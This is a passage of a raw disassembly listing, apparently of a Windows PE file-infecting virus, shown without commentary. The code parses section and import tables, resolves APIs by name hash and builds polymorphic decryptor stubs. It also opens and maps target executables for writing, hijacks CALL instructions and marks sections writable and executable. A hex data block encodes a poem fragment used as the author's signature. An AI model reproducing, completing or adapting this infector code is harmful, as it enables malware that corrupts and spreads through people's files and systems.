35BC95FFh, 0BD800040h dd 40384Dh, 0C7117400h, 401D6985h, 0 dd 4D85C600h, 4038h, 0FFFE56E9h, 8085C7FFh, 4015h, 5D800000h dd 0D0004C2h, 6E204F0Ah, 206E6F6Fh, 6C20666Fh, 21656669h dd 74204F20h, 20656D69h, 63206F74h, 62656C65h, 65746172h dd 200A0D21h, 20202020h, 7573204Fh, 72656D6Dh, 72616720h dd 216E6564h, 65520A0Dh, 746E656Ch, 7373656Ch, 6820796Ch dd 79707061h, 646E6120h, 70786520h, 61746365h, 202C746Eh dd 6E617473h, 676E6964h, 0D2D203Ah, 7461570Ah, 6E696863h dd 6C612067h, 6164206Ch, 6E612079h, 696E2064h, 2C746867h dd 726F6620h, 69726620h, 73646E65h, 77204920h, 3A746961h dd 68570A0Dh, 20657265h, 20657261h, 2C756F79h, 69726620h dd 73646E65h, 6F43203Fh, 2021656Dh, 69207449h, 69742073h dd 2021656Dh, 73277449h, 74616C20h, 0A0D2165h, 30C78404h dd 4FD479EDh, 10A61429h, 10A61413h, 6299AD47h, 27B1FAE5h dd 1A73C17Eh, 0C26CCC5Ch, 606EF96Ah, 3AAB5957h, 40375248h dd 0D8B8B352h, 14h dup(0) ; =============== S U B R O U T I N E ======================================= sub_3150A5BC proc near ; CODE XREF: sub_3150A603:loc_3150A660p ; sub_3150A6C3+7p ... arg_0 = dword ptr 4 pusha and dword ptr [ebp+4039A6h], 0 and dword ptr [ebp+4039AAh], 0 movzx eax, word ptr [ebx+14h] lea edx, [ebx+18h] movzx ecx, word ptr [ebx+6] add edx, eax loc_3150A5D8: ; CODE XREF: sub_3150A5BC+41j mov eax, [esp+20h+arg_0] sub eax, [edx+0Ch] jb short loc_3150A5FA cmp eax, [edx+8] jnb short loc_3150A5FA mov eax, [edx+14h] sub eax, [edx+0Ch] mov [ebp+4039A6h], edx mov [ebp+4039AAh], eax jmp short loc_3150A5FF ; --------------------------------------------------------------------------- loc_3150A5FA: ; CODE XREF: sub_3150A5BC+23j ; sub_3150A5BC+28j add edx, 28h loop loc_3150A5D8 loc_3150A5FF: ; CODE XREF: sub_3150A5BC+3Cj popa retn 4 sub_3150A5BC endp ; =============== S U B R O U T I N E ======================================= sub_3150A603 proc near ; CODE XREF: UPX2:3150A92Fp ; UPX2:3150A955p mov [ebp+4022F7h], al call sub_3150A672 push 20h lea eax, [ebp+402224h] pop ecx loc_3150A61A: ; CODE XREF: sub_3150A603+1Ej cmp [eax], ebx jz short loc_3150A62A add eax, 4 loop loc_3150A61A inc dword ptr [ebp+40398Eh] retn ; --------------------------------------------------------------------------- loc_3150A62A: ; CODE XREF: sub_3150A603+19j neg ecx add ecx, [ebp+4022F7h] jecxz short loc_3150A644 loc_3150A634: ; CODE XREF: sub_3150A603+39j push dword ptr [eax-4] pop dword ptr [eax] sub eax, 4 loop loc_3150A634 mov [ebp+402224h], ebx loc_3150A644: ; CODE XREF: sub_3150A603+2Fj ; sub_3150A672+34j cmp dword ptr [edx], 0 jz short loc_3150A64E sub esi, [edx] add esi, [edx+10h] loc_3150A64E: ; CODE XREF: sub_3150A603+44j lea ecx, [esi-4] pop eax pop ebx pop esi cmp dword ptr [edx], 0 jz short loc_3150A65D push dword ptr [edx] jmp short loc_3150A660 ; --------------------------------------------------------------------------- loc_3150A65D: ; CODE XREF: sub_3150A603+54j push dword ptr [edx+10h] loc_3150A660: ; CODE XREF: sub_3150A603+58j call sub_3150A5BC sub ecx, esi sub ecx, [ebp+4039AAh] pop eax add ecx, [ebx+34h] retn sub_3150A603 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3150A672 proc near ; CODE XREF: sub_3150A603+6p pop dword ptr [ebp+403992h] mov dword ptr [ebp+40398Eh], 0 call sub_3150A6C3 mov eax, [ebp+40398Eh] call sub_31509E07 call sub_3150A6AF cmp dword ptr [ebp+40398Eh], 0 jnz short loc_3150A6A8 mov [ebp+4022A0h], ebx jmp short loc_3150A644 ; --------------------------------------------------------------------------- loc_3150A6A8: ; CODE XREF: sub_3150A672+2Cj dec dword ptr [ebp+40398Eh] retn sub_3150A672 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3150A6AF proc near ; CODE XREF: sub_3150A672+20p pop dword ptr [ebp+403992h] mov [ebp+40398Eh], edx call sub_3150A6C3 xor ecx, ecx retn sub_3150A6AF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3150A6C3 proc near ; CODE XREF: sub_3150A672+10p ; sub_3150A6AF+Cp ... var_C = dword ptr -0Ch var_4 = dword ptr -4 mov edx, [ebx+80h] push edx call sub_3150A5BC add edx, [ebp+4039AAh] add edx, esi loc_3150A6D7: ; CODE XREF: sub_3150A6C3+120j cmp dword ptr [edx+0Ch], 0 jz locret_3150A7E8 cmp dword ptr [edx+10h], 0 jz locret_3150A7E8 mov eax, [edx+0Ch] push eax call sub_3150A5BC add eax, [ebp+4039AAh] add eax, esi push eax loc_3150A6FD: ; CODE XREF: sub_3150A6C3+47j mov cl, [eax] cmp cl, 0 jz short loc_3150A71D cmp cl, 2Eh jz short loc_3150A70C loc_3150A709: ; CODE XREF: sub_3150A6C3+58j inc eax jmp short loc_3150A6FD ; --------------------------------------------------------------------------- loc_3150A70C: ; CODE XREF: sub_3150A6C3+44j mov ecx, [eax+1] and ecx, 0DFDFDFDFh cmp ecx, 4C4C44h jnz short loc_3150A709 loc_3150A71D: ; CODE XREF: sub_3150A6C3+3Fj pop ecx sub ecx, eax cmp ecx, 0FFFFFFFAh jg loc_3150A7E0 cmp word ptr [eax-2], 3233h jnz loc_3150A7E0 push esi cmp dword ptr [edx], 0 jnz short loc_3150A740 mov ecx, [edx+10h] jmp short loc_3150A742 ; --------------------------------------------------------------------------- loc_3150A740: ; CODE XREF: sub_3150A6C3+76j mov ecx, [edx] loc_3150A742: ; CODE XREF: sub_3150A6C3+7Bj add esi, ecx push ecx call sub_3150A5BC add esi, [ebp+4039AAh] loc_3150A750: ; CODE XREF: sub_3150A6C3+90j ; sub_3150A6C3+117j lodsd test eax, eax js short loc_3150A750 jz loc_3150A7DF push dword ptr [ebp+4039AAh] push eax call sub_3150A5BC add eax, [ebp+4039AAh] pop dword ptr [ebp+4039AAh] add eax, [esp+4+var_4] push ebx add eax, 2 xor ebx, ebx loc_3150A77C: ; CODE XREF: sub_3150A6C3+CEj movzx ecx, byte ptr [eax] jecxz short loc_3150A793 or cl, 20h push ebx shl [esp+0Ch+var_C], 4 sub [esp+0Ch+var_C], ebx sub [esp+0Ch+var_C], ecx pop ebx inc eax jmp short loc_3150A77C ; --------------------------------------------------------------------------- loc_3150A793: ; CODE XREF: sub_3150A6C3+BCj cmp ebx, 0DDBBD70Fh jz short loc_3150A7D9 cmp ebx, 0DB6E45A8h jz short loc_3150A7D9 cmp ebx, 0FFA13B59h jz short loc_3150A7D9 cmp ebx, 0ACB522D6h jz short loc_3150A7D9 cmp ebx, 0F358E993h jz short loc_3150A7D9 cmp ebx, 0F358E97Dh jz short loc_3150A7D9 cmp ebx, 0E1253F46h jz short loc_3150A7D9 cmp ebx, 0E1253F30h jz short loc_3150A7D9 call dword ptr [ebp+403992h] loc_3150A7D9: ; CODE XREF: sub_3150A6C3+D6j ; sub_3150A6C3+DEj ... pop ebx jmp loc_3150A750 ; --------------------------------------------------------------------------- loc_3150A7DF: ; CODE XREF: sub_3150A6C3+92j pop esi loc_3150A7E0: ; CODE XREF: sub_3150A6C3+60j ; sub_3150A6C3+6Cj add edx, 14h jmp loc_3150A6D7 ; --------------------------------------------------------------------------- locret_3150A7E8: ; CODE XREF: sub_3150A6C3+18j ; sub_3150A6C3+22j retn sub_3150A6C3 endp ; --------------------------------------------------------------------------- db 1 ; =============== S U B R O U T I N E ======================================= sub_3150A7EA proc near ; CODE XREF: UPX2:3150A928p ; UPX2:3150A94Ep push 4 pop eax call sub_31509E07 mov [ebp+4024D1h], dl mov ax, 1831h add ah, dl shl ah, 3 add ah, dl stosw push 6 pop eax call sub_31509E07 add edx, 8 xchg edx, ecx loc_3150A812: ; CODE XREF: sub_3150A7EA:loc_3150A851j push 5 pop eax call sub_31509E07 cmp dl, 3 jnb short loc_3150A82A mov al, 50h add al, [ebp+4024D1h] stosb jmp short loc_3150A851 ; --------------------------------------------------------------------------- loc_3150A82A: ; CODE XREF: sub_3150A7EA+33j push 68h pop eax stosb cmp dl, 3 jnz short loc_3150A84B mov al, 11h call sub_31509E07 mov eax, 1 loc_3150A83F: ; CODE XREF: sub_3150A7EA+5Dj test dl, dl jz short loc_3150A850 shl eax, 1 dec dl jmp short loc_3150A83F ; --------------------------------------------------------------------------- jmp short loc_3150A850 ; --------------------------------------------------------------------------- loc_3150A84B: ; CODE XREF: sub_3150A7EA+47j mov eax, 80000000h loc_3150A850: ; CODE XREF: sub_3150A7EA+57j ; sub_3150A7EA+5Fj stosd loc_3150A851: ; CODE XREF: sub_3150A7EA+3Ej loop loc_3150A812 retn sub_3150A7EA endp ; --------------------------------------------------------------------------- loc_3150A854: ; CODE XREF: sub_3150B2AE+112p lea edi, [ebp+40343Ch] test dword ptr [ebp+403431h], 80000000h jz short loc_3150A869 mov al, 60h stosb loc_3150A869: ; CODE XREF: UPX2:3150A864j test dword ptr [ebp+403431h], 1000003h jz loc_3150A96F ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call near ptr 0EEDA542Dh xchg eax, esi cmp [eax+0], eax mov al, 0E8h stosb stosd test dword ptr [ebp+403431h], 1000000h mov [ebp+40399Ah], edi jz short loc_3150A8E7 test dword ptr [ebp+403431h], 2000000h mov eax, 36FF6467h jnz short loc_3150A8B2 mov eax, 2E8B6467h loc_3150A8B2: ; CODE XREF: UPX2:3150A8ABj stosd mov ax, 0 stosw jz short loc_3150A8BE mov al, 5Dh stosb loc_3150A8BE: ; CODE XREF: UPX2:3150A8B9j test dword ptr [ebp+403431h], 8000000h mov eax, 86D8Dh jnz short loc_3150A8E5 test dword ptr [ebp+403431h], 4000000h mov eax, 8C583h jz short loc_3150A8E5 mov eax, 0F8ED83h loc_3150A8E5: ; CODE XREF: UPX2:3150A8CDj ; UPX2:3150A8DEj stosd dec edi loc_3150A8E7: ; CODE XREF: UPX2:3150A89Aj test dword ptr [ebp+403431h], 3 jz short loc_3150A8F7 mov al, 0E9h stosb stosd loc_3150A8F7: ; CODE XREF: UPX2:3150A8F1j mov eax, [ebp+403996h] mov ecx, edi sub ecx, eax mov [eax-4], ecx test dword ptr [ebp+403431h], 3 jz short loc_3150A96F mov eax, 36FF6467h mov [ebp+40399Eh], edi stosd mov eax, 64670000h stosd mov eax, 2689h stosd call sub_3150A7EA mov al, 20h call sub_3150A603 jecxz short loc_3150A96F mov ax, 15FFh stosw xchg eax, ecx stosd mov edx, [ebp+403431h] not edx test edx, 3 jnz short loc_3150A962 call sub_3150A7EA mov al, 1Fh call sub_3150A603 mov ax, 15FFh stosw xchg eax, ecx stosd loc_3150A962: ; CODE XREF: UPX2:3150A94Cj mov ecx, edi mov eax, [ebp+40399Eh] sub ecx, eax mov [eax-4], ecx loc_3150A96F: ; CODE XREF: UPX2:3150A873j ; UPX2:3150A90Ej ... test dword ptr [ebp+403431h], 4 jz short loc_3150A98D mov eax, 0C8FEC029h stosd mov eax, 474C008h stosd mov eax, 67EBF875h stosd loc_3150A98D: ; CODE XREF: UPX2:3150A979j test dword ptr [ebp+403431h], 8 jnz short loc_3150A9E3 cmp byte ptr [ebp+40342Fh], 0 jz short loc_3150A9E3 mov eax, 0C9291829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosd mov al, 0B1h stosb mov al, [ebp+40342Fh] stosb mov al, 40h or al, [ebp+40342Bh] stosb mov ax, 0FDE2h test dword ptr [ebp+403431h], 10h jz short loc_3150A9E1 mov al, 49h stosb mov ax, 0FC75h loc_3150A9E1: ; CODE XREF: UPX2:3150A9D8j stosw loc_3150A9E3: ; CODE XREF: UPX2:3150A997j ; UPX2:3150A9A0j mov al, 0E8h stosb xor eax, eax stosd mov [ebp+403982h], edi test dword ptr [ebp+403431h], 20h jnz short loc_3150AA04 mov al, 58h or al, [ebp+403429h] stosb loc_3150AA04: ; CODE XREF: UPX2:3150A9F9j mov ax, 0C081h test dword ptr [ebp+403431h], 40h jz short loc_3150AA17 add ah, 28h loc_3150AA17: ; CODE XREF: UPX2:3150AA12j or ah, [ebp+403429h] stosw mov [ebp+403986h], edi stosd test dword ptr [ebp+403431h], 40000000h jnz short loc_3150AA3B mov al, 50h add al, [ebp+403429h] stosb loc_3150AA3B: ; CODE XREF: UPX2:3150AA30j test dword ptr [ebp+403431h], 80h jnz short loc_3150AA52 mov al, 0B8h or al, [ebp+40342Ah] stosb jmp short loc_3150AA8F ; --------------------------------------------------------------------------- loc_3150AA52: ; CODE XREF: UPX2:3150AA45j mov ax, 1831h test dword ptr [ebp+403431h], 100h jz short loc_3150AA64 mov al, 29h loc_3150AA64: ; CODE XREF: UPX2:3150AA60j or ah, [ebp+40342Ah] shl ah, 3 or ah, [ebp+40342Ah] stosw mov ax, 0F081h test dword ptr [ebp+403431h], 200h jnz short loc_3150AA87 mov ah, 0C8h loc_3150AA87: ; CODE XREF: UPX2:3150AA83j or ah, [ebp+40342Ah] stosw loc_3150AA8F: ; CODE XREF: UPX2:3150AA50j mov [ebp+4039A2h], edi mov eax, 243Ch stosd test dword ptr [ebp+403431h], 8 jz short loc_3150AB13 test dword ptr [ebp+403431h], 400h jnz short loc_3150AABE mov al, 0B8h or al, [ebp+40342Bh] stosb jmp short loc_3150AB0B ; --------------------------------------------------------------------------- loc_3150AABE: ; CODE XREF: UPX2:3150AAB1j test dword ptr [ebp+403431h], 800h jnz short loc_3150AADB mov ax, 0E083h or ah, [ebp+40342Bh] stosw xor eax, eax stosb jmp short loc_3150AAF0 ; --------------------------------------------------------------------------- loc_3150AADB: ; CODE XREF: UPX2:3150AAC8j mov ax, 1829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosw loc_3150AAF0: ; CODE XREF: UPX2:3150AAD9j test dword ptr [ebp+403431h], 1000h mov ax, 0C081h jz short loc_3150AB03 add ah, 8 loc_3150AB03: ; CODE XREF: UPX2:3150AAFEj or ah, [ebp+40342Bh] stosw loc_3150AB0B: ; CODE XREF: UPX2:3150AABCj movzx eax, byte ptr [ebp+40342Fh] stosd loc_3150AB13: ; CODE XREF: UPX2:3150AAA5j test dword ptr [ebp+403431h], 40000000h jz short loc_3150AB28 mov al, 50h add al, [ebp+403429h] stosb loc_3150AB28: ; CODE XREF: UPX2:3150AB1Dj test dword ptr [ebp+403431h], 2000h mov al, 86h jnz short loc_3150AB38 add al, 4 loc_3150AB38: ; CODE XREF: UPX2:3150AB34j lea ecx, [edi-2] mov ah, [ebp+403429h] mov [ebp+40398Ah], ecx stosw cmp ah, 5 jnz short loc_3150AB55 mov al, 0 or byte ptr [edi-1], 40h stosb loc_3150AB55: ; CODE XREF: UPX2:3150AB4Cj test dword ptr [ebp+403431h], 4000h mov ax, 3166h jnz short loc_3150AB67 mov ah, 29h loc_3150AB67: ; CODE XREF: UPX2:3150AB63j stosw mov al, 18h or al, [ebp+40342Bh] shl al, 3 stosb mov al, 88h test dword ptr [ebp+403431h], 8000h jnz short loc_3150AB85 mov al, 86h loc_3150AB85: ; CODE XREF: UPX2:3150AB81j mov ah, [ebp+403429h] stosw cmp ah, 5 jnz short loc_3150AB99 mov al, 0 or byte ptr [edi-1], 40h stosb loc_3150AB99: ; CODE XREF: UPX2:3150AB90j test dword ptr [ebp+403431h], 10000h jnz short loc_3150ABB0 mov al, 40h or al, [ebp+403429h] stosb jmp short loc_3150ABBF ; --------------------------------------------------------------------------- loc_3150ABB0: ; CODE XREF: UPX2:3150ABA3j mov ax, 0C083h or ah, [ebp+403429h] stosw mov al, 1 stosb loc_3150ABBF: ; CODE XREF: UPX2:3150ABAEj test dword ptr [ebp+403431h], 20000h jnz short loc_3150ABFA test dword ptr [ebp+403431h], 40000h jnz short loc_3150ABF1 mov al, 0C0h or al, [ebp+40342Bh] mov ah, [ebp+403430h] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_3150ABF9 ; --------------------------------------------------------------------------- loc_3150ABF1: ; CODE XREF: UPX2:3150ABD5j mov al, 40h or al, [ebp+40342Bh] loc_3150ABF9: ; CODE XREF: UPX2:3150ABEFj stosb loc_3150ABFA: ; CODE XREF: UPX2:3150ABC9j test dword ptr [ebp+403431h], 80000h jnz short loc_3150AC16 mov ax, 0E883h or ah, [ebp+40342Ah] stosw mov al, 1 jmp short loc_3150AC1E ; --------------------------------------------------------------------------- loc_3150AC16: ; CODE XREF: UPX2:3150AC04j mov al, 48h or al, [ebp+40342Ah] loc_3150AC1E: ; CODE XREF: UPX2:3150AC14j stosb test dword ptr [ebp+403431h], 100000h mov cl, 75h jnz short loc_3150AC52 mov ax, 0F883h or ah, [ebp+40342Ah] stosw xor eax, eax stosb sub [ebp+40398Ah], edi test dword ptr [ebp+403431h], 200000h jnz short loc_3150AC6D mov cl, 77h jmp short loc_3150AC6D ; --------------------------------------------------------------------------- loc_3150AC52: ; CODE XREF: UPX2:3150AC2Bj mov ax, 1809h or ah, [ebp+40342Ah] shl ah, 3 or ah, [ebp+40342Ah] stosw sub [ebp+40398Ah], edi loc_3150AC6D: ; CODE XREF: UPX2:3150AC4Cj ; UPX2:3150AC50j mov al, cl mov ah, [ebp+40398Ah] stosw mov al, 58h add al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 1000003h jz loc_3150AD17 mov eax, 268B6467h mov ecx, [ebp+403431h] xor ecx, 2000000h test ecx, 3000000h jnz short loc_3150ACAE mov eax, 2E876467h loc_3150ACAE: ; CODE XREF: UPX2:3150ACA7j stosd mov eax, 0 stosw jnz short loc_3150ACBE mov ax, 0E58Bh stosw loc_3150ACBE: ; CODE XREF: UPX2:3150ACB6j mov eax, 68F6764h stosd xor eax, eax stosw test dword ptr [ebp+403431h], 1000000h jnz short loc_3150AD14 test dword ptr [ebp+403431h], 8000000h jz short loc_3150AD06 mov ax, 6C8Dh test dword ptr [ebp+403431h], 2000000h setnz cl or ah, cl stosw test cl, cl jnz short loc_3150AD01 mov ax, 424h stosw jmp short loc_3150AD14 ; --------------------------------------------------------------------------- loc_3150AD01: ; CODE XREF: UPX2:3150ACF7j mov al, 8 stosb jmp short loc_3150AD14 ; --------------------------------------------------------------------------- loc_3150AD06: ; CODE XREF: UPX2:3150ACDEj mov ax, 5D58h add al, [ebp+40342Bh] stosw jmp short loc_3150AD17 ; --------------------------------------------------------------------------- loc_3150AD14: ; CODE XREF: UPX2:3150ACD2j ; UPX2:3150ACFFj ... mov al, 0C9h stosb loc_3150AD17: ; CODE XREF: UPX2:3150AC8Aj ; UPX2:3150AD12j test dword ptr [ebp+403431h], 80000000h jz short loc_3150AD43 mov al, 7 sub al, [ebp+403429h] shl eax, 1Ah or eax, 240889h add ah, [ebp+403429h] shl ah, 3 add ah, 4 stosd mov al, 61h stosb loc_3150AD43: ; CODE XREF: UPX2:3150AD21j mov ax, 0E0FFh or ah, [ebp+403429h] stosw test dword ptr [ebp+403431h], 20h jz short loc_3150ADAE test dword ptr [ebp+403431h], 20000000h jz short loc_3150AD74 loc_3150AD67: ; CODE XREF: UPX2:3150AD72j test edi, 3 jz short loc_3150AD74 mov al, 90h stosb jmp short loc_3150AD67 ; --------------------------------------------------------------------------- loc_3150AD74: ; CODE XREF: UPX2:3150AD65j ; UPX2:3150AD6Dj mov eax, edi mov ecx, [ebp+403982h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 400000h jz short loc_3150ADA2 mov ax, 0C350h or al, [ebp+403429h] jmp short loc_3150ADAC ; --------------------------------------------------------------------------- loc_3150ADA2: ; CODE XREF: UPX2:3150AD94j mov ax, 0E0FFh or ah, [ebp+403429h] loc_3150ADAC: ; CODE XREF: UPX2:3150ADA0j stosw loc_3150ADAE: ; CODE XREF: UPX2:3150AD59j test dword ptr [ebp+403431h], 1000003h jz short loc_3150AE2D test dword ptr [ebp+403431h], 20000000h jz short loc_3150ADD3 loc_3150ADC6: ; CODE XREF: UPX2:3150ADD1j test edi, 3 jz short loc_3150ADD3 mov al, 90h stosb jmp short loc_3150ADC6 ; --------------------------------------------------------------------------- loc_3150ADD3: ; CODE XREF: UPX2:3150ADC4j ; UPX2:3150ADCCj mov ecx, edi mov eax, [ebp+40399Ah] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+403431h], 800000h jnz short loc_3150ADFC lea eax, [ebp+403429h] loc_3150ADF4: ; CODE XREF: UPX2:3150ADFAj mov cl, [eax] inc eax cmp cl, 3 jnb short loc_3150ADF4 loc_3150ADFC: ; CODE XREF: UPX2:3150ADECj lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_3150AE11 mov ax, 0C031h stosw loc_3150AE11: ; CODE XREF: UPX2:3150AE09j mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_3150AE2A mov ax, 0C031h stosw loc_3150AE2A: ; CODE XREF: UPX2:3150AE22j mov al, 0C3h stosb loc_3150AE2D: ; CODE XREF: UPX2:3150ADB8j lea eax, [ebp+40343Ch] test dword ptr [ebp+403431h], 10000000h jnz short loc_3150AE45 push edi sub edi, eax pop eax jmp short loc_3150AE5E ; --------------------------------------------------------------------------- loc_3150AE45: ; CODE XREF: UPX2:3150AE3Dj mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+4039A2h] add [ebp+403982h], edx add [ecx], edi mov eax, [esp+4] loc_3150AE5E: ; CODE XREF: UPX2:3150AE43j mov [ebp+40106Dh], edi mov edi, [ebp+403986h] sub eax, [ebp+403982h] test dword ptr [ebp+403431h], 40h jz short loc_3150AE7E neg eax loc_3150AE7E: ; CODE XREF: UPX2:3150AE7Aj stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_3150AE82 proc near ; CODE XREF: sub_3150B2AE+2A8p push esi push edi cmp dword ptr [ebp+4039AEh], 0 jz loc_3150B06A call near ptr loc_3150AEA2+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_3150AEA2: ; CODE XREF: sub_3150AE82+Fp add bh, bh sub_3150AE82 endp ; sp-analysis failed xchg eax, ebp mov ds:85890040h, dh mov esi, 53004039h mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call sub_3150A5BC mov edx, [ebp+4039A6h] pop ebx add eax, [edx+0Ch] mov [ebp+4039C2h], eax add eax, [edx+8] mov [ebp+4039C6h], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call sub_3150A5BC mov edi, [ebp+4039A6h] push esi call sub_3150A5BC mov edx, [ebp+4039A6h] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_3150B06A jz loc_3150B06A add esi, [ebp+4039AAh] add esi, [ebp+403972h] ; START OF FUNCTION CHUNK FOR sub_3150B03B loc_3150AF1C: ; CODE XREF: sub_3150B03B+29j lodsb cmp al, 0E8h jnz loc_3150AFC7 lea eax, [esi+4] sub eax, [ebp+403972h] add eax, [esi] push eax call sub_3150A5BC cmp dword ptr [ebp+4039A6h], 0 jnz short loc_3150AF4A cmp eax, [edi+0Ch] jnb loc_3150B063 jmp short loc_3150AF56 ; --------------------------------------------------------------------------- loc_3150AF4A: ; CODE XREF: sub_3150B03B-FEj cmp [ebp+4039A6h], edx jnz loc_3150B063 loc_3150AF56: ; CODE XREF: sub_3150B03B-F3j add eax, [ebp+403972h] cmp word ptr [eax], 25FFh jnz loc_3150B063 mov eax, [eax+2] sub eax, [ebx+34h] push eax call sub_3150A5BC cmp [ebp+4039A6h], edi jnz loc_3150B063 add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_3150B063 cmp eax, [edi+8] jnb loc_3150B063 loc_3150AF9F: ; CODE XREF: sub_3150B03B+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+403972h] push edx push eax push dword ptr [ebp+4039BEh] call dword ptr [ebp+403548h] pop edx test eax, eax jnz loc_3150B079 jmp loc_3150B063 ; --------------------------------------------------------------------------- loc_3150AFC7: ; CODE XREF: sub_3150B03B-11Cj cmp al, 0FFh jnz loc_3150B063 cmp byte ptr [esi], 15h jnz loc_3150B063 mov eax, [esi+1] sub eax, [ebx+34h] push eax call sub_3150A5BC cmp [ebp+4039A6h], edi jnz short loc_3150B063 add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov [ebp+4039CAh], eax mov eax, [eax] cmp eax, [ebp+4039C2h] jb short loc_3150B010 cmp eax, [ebp+4039C6h] jb short loc_3150B079 loc_3150B010: ; CODE XREF: sub_3150B03B-35j cmp eax, 70000000h jb short loc_3150B04E call sub_3150B03B lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, [ebp+4039CAh] jnz short locret_3150B03A add esp, 10h push dword ptr [ecx] pop [esp-0Ch+arg_24] popa jmp short loc_3150B055 ; --------------------------------------------------------------------------- locret_3150B03A: ; CODE XREF: sub_3150B03B-Fj retn ; END OF FUNCTION CHUNK FOR sub_3150B03B ; =============== S U B R O U T I N E ======================================= sub_3150B03B proc near ; CODE XREF: sub_3150B03B-24p var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 3150AF1C SIZE 0000011F BYTES pop dword ptr [ebp+403992h] pusha mov esi, [ebp+403972h] call sub_3150A6C3 popa loc_3150B04E: ; CODE XREF: sub_3150B03B-26j test eax, 80000000h jnz short loc_3150B063 loc_3150B055: ; CODE XREF: sub_3150B03B-3j sub eax, [edi+0Ch] jb short loc_3150B063 cmp eax, [edi+8] jb loc_3150AF9F loc_3150B063: ; CODE XREF: sub_3150B03B-F9j ; sub_3150B03B-EBj ... dec ecx jnz loc_3150AF1C loc_3150B06A: ; CODE XREF: sub_3150AE82+9j ; UPX2:3150AF04j ... mov edi, [esp-4+arg_0] and dword ptr [edi+2431h], 7FFFFFFFh jmp short loc_3150B0B5 ; --------------------------------------------------------------------------- loc_3150B079: ; CODE XREF: sub_3150B03B-7Fj ; sub_3150B03B-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+8+var_8] xchg eax, [ebp+4039AEh] lea edi, [ecx+2435h] add eax, [ebp+403972h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+52h], 5 mov [esi-4], eax loc_3150B0B5: ; CODE XREF: sub_3150B03B+3Cj pop edi pop esi retn sub_3150B03B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3150B0B8 proc near ; CODE XREF: UPX2:3150B286p ; sub_3150B2AE+127p lea esi, [ebp+40384Eh] push esi call dword ptr [ebp+40357Ch] cmp eax, 0FFFFFFFFh jz locret_3150B189 mov [ebp+403952h], eax push 0 push esi call dword ptr [ebp+4035B4h] test eax, eax jz locret_3150B189 sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr [ebp+40355Ch] cmp eax, 0FFFFFFFFh jz loc_3150B641 mov [ebp+403956h], eax lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push eax call dword ptr [ebp+403584h] cmp eax, 0FFFFFFFFh jz loc_3150B635 push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+403580h] cmp eax, 0FFFFFFFFh jz loc_3150B635 mov [ebp+40396Ah], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+403956h] call dword ptr [ebp+403560h] test eax, eax jz loc_3150B635 xor ecx, ecx mov [ebp+40396Eh], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+4035A0h] test eax, eax jz loc_3150B60D mov [ebp+403972h], eax locret_3150B189: ; CODE XREF: sub_3150B0B8+10j ; sub_3150B0B8+27j ... retn sub_3150B0B8 endp ; =============== S U B R O U T I N E ======================================= sub_3150B18A proc near ; CODE XREF: sub_3150B2AE+117p ; sub_3150B2AE+223p mov eax, 69CDh mov ecx, [ebx+38h] test dword ptr [ebp+403431h], 10000000h jnz short loc_3150B1A4 add eax, [ebp+40106Dh] loc_3150B1A4: ; CODE XREF: sub_3150B18A+12j xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+40397Ah], eax mov eax, 243Bh mov ecx, [ebx+3Ch] add eax, [ebp+40106Dh] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+403976h], eax retn sub_3150B18A endp ; =============== S U B R O U T I N E ======================================= sub_3150B1CF proc near ; CODE XREF: sub_3150B2AE:loc_3150B2FDp ; sub_3150B2AE+13Dp movzx ecx, word ptr [ebx+6] stc loc_3150B1D4: ; CODE XREF: sub_3150B1CF+23j jecxz short locret_3150B20B lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_3150B20B cmp dword ptr [edx+0Ch], 1 jb short loc_3150B1D4 mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+40396Ah] locret_3150B20B: ; CODE XREF: sub_3150B1CF:loc_3150B1D4j ; sub_3150B1CF+1Dj ... retn sub_3150B1CF endp ; =============== S U B R O U T I N E ======================================= sub_3150B20C proc near ; CODE XREF: 